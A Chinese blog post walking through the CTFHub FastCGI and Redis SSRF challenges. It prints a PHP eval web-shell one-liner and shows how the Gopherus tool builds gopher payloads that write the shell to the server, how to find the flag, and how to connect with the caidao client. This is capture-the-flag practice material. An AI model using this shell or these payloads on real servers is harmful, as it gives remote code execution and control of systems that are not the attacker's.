当前位置： 首页 > news >正文

CTFHub-FastCGI协议/Redis协议

news 来源：原创 2025/5/15 1:28:58

 将木马进行base64编码

<?php @eval($_GET[cmd]);?>

 打开kali虚拟机，使用虚拟机中Gopherus-master工具

Gopherus-master工具安装

git clone https://github.com/tarunkant/Gopherus.git

进入工具目录 

cd Gopherus

 使用工具

python2 "位置" --exploit fastcgi

 将得到的数据进行url编码

 放到url=后面得到图下代表成功

 打开文件，使用ls ../一级一级找flag

 使用得到的flag_得到

 打开kali虚拟机，使用虚拟机中Gopherus-master工具

python2 "位置” --exploit redis

 将结果进行url编码

将数据放到url=后面

显示504不重要，重要的是木马有没有写进去 

 出现这个表示写进去了

 使用caidao连接木马

相关文章：

  • 最新版本WebContext构造函数-避坑
  • 推理大模型的后训练增强技术-强化学习篇
  • LeetCode 哈希章节
  • Unity入门学习笔记（Day01）
  • JWT的学习
  • 探索大数据分析的无限可能：R语言的应用与实践
  • 远程登录客户端软件 CTerm 发布了 v4.0.0
  • PySide(PyQT)的contains() 方法
  • javascrip网页设计案例，SuperSlide+bootstrap+html经典组合
  • Docker中GPU的使用指南
  • 论文阅读笔记——Learning Fine-Grained Bimanual Manipulation with Low-Cost Hardware
  • 【C++指南】一文总结C++类和对象
  • Primer - 自适应学习，AI学习工具
  • 从 GitHub 批量下载项目各版本的方法
  • 2025 cv2.imwrite存储带有中文路径
  • 第三章 组件（12）- 自定义组件类库
  • Vue项目实战
  • 【Android】setText调用导致的悬浮窗抖动问题
  • 天翼云Gpu主机安装Dify手册
  • 强化学习： 继续看 Q-Learning + FrozenLake， 解决更大的地图 8x8, 10x10
  • 安徽省委常委、合肥市委书记费高云卸任副省长职务
  • 人民日报任平：从汽车产销、外贸大盘看中国经济前景
  • 彭丽媛同巴西总统夫人罗桑热拉参观中国国家大剧院
  • 2025上海科技节本周六启幕，机器人和科学家同走AI科学红毯
  • 从600名外到跻身大满贯，孙发京：走过的路成就了现在的我
  • 在地球另一端的交流，架起2万公里间更多共赢的桥梁